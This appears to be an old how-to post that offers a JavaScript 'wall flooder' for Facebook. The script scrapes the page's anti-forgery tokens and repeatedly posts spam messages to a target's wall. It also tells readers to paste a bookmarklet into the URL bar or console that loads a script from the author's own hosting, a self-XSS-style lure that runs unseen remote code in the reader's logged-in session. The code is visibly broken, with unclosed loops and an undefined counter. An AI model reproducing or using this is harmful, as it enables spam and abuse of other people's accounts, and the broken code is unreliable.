How Spammers flooding Facebook wall

Its a Simple trick to post a message on someone facebook wall in n number of times. here is the java scrip which is used to do this methord:

Facebook Wall Post java script :
var a = document.body.innerHTML;
var Num = prompt("Wall Flooder", "Please Enter Number of messages");
while (Num <= 0){
var Num = prompt("You can't use a number less than 1", "Please Enter Number of messages");
formx = a.match(/name="post_form_id" value="([\d\w]+)"/)[1];

dts = a.match(/name="fb_dtsg" value="([^"]+)"/)[1];
composerid = a.match(/name="xhpc_composerid" value="([^"]+)"/)[1];
var msg = prompt("Wall Flooder", "Enter your message");
target = a.match(/name="targetid" value="([^"]+)"/)[1];
while(i < Num){
var rn=Math.floor(Math.random()*1001);
pst = "post_form_id=" + formx + "&fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + target+ "&xhpc_context=home&xhpc_fbx=1&xhpc_message_te xt=" + encodeURIComponent(msg) + encodeURIComponent(" ") + encodeURIComponent(rn) + "&xhpc_message=" + encodeURIComponent(msg) + encodeURIComponent(" ") + encodeURIComponent(rn) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncReq uest";
with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded") , send(pst);
i += 1;
This is the javascript code we are going to use somewhere as a .js, or use my hosting @  After that, here's a breakdown of what you should do:

1. Host the script on a webserver if you want.. but i already have it hosted.
2. Paste this in your url bar (or if you're using chrome, press ctrl+shift+j, click on console and paste):
javascript:(a = (b = document).createElement("script")).src = "//", b.body.appendChild(a); void(0)
3. Follow instructions in the popup boxes do not use mozilla firefox and we are not responsible for this and this is only for educational purpose.
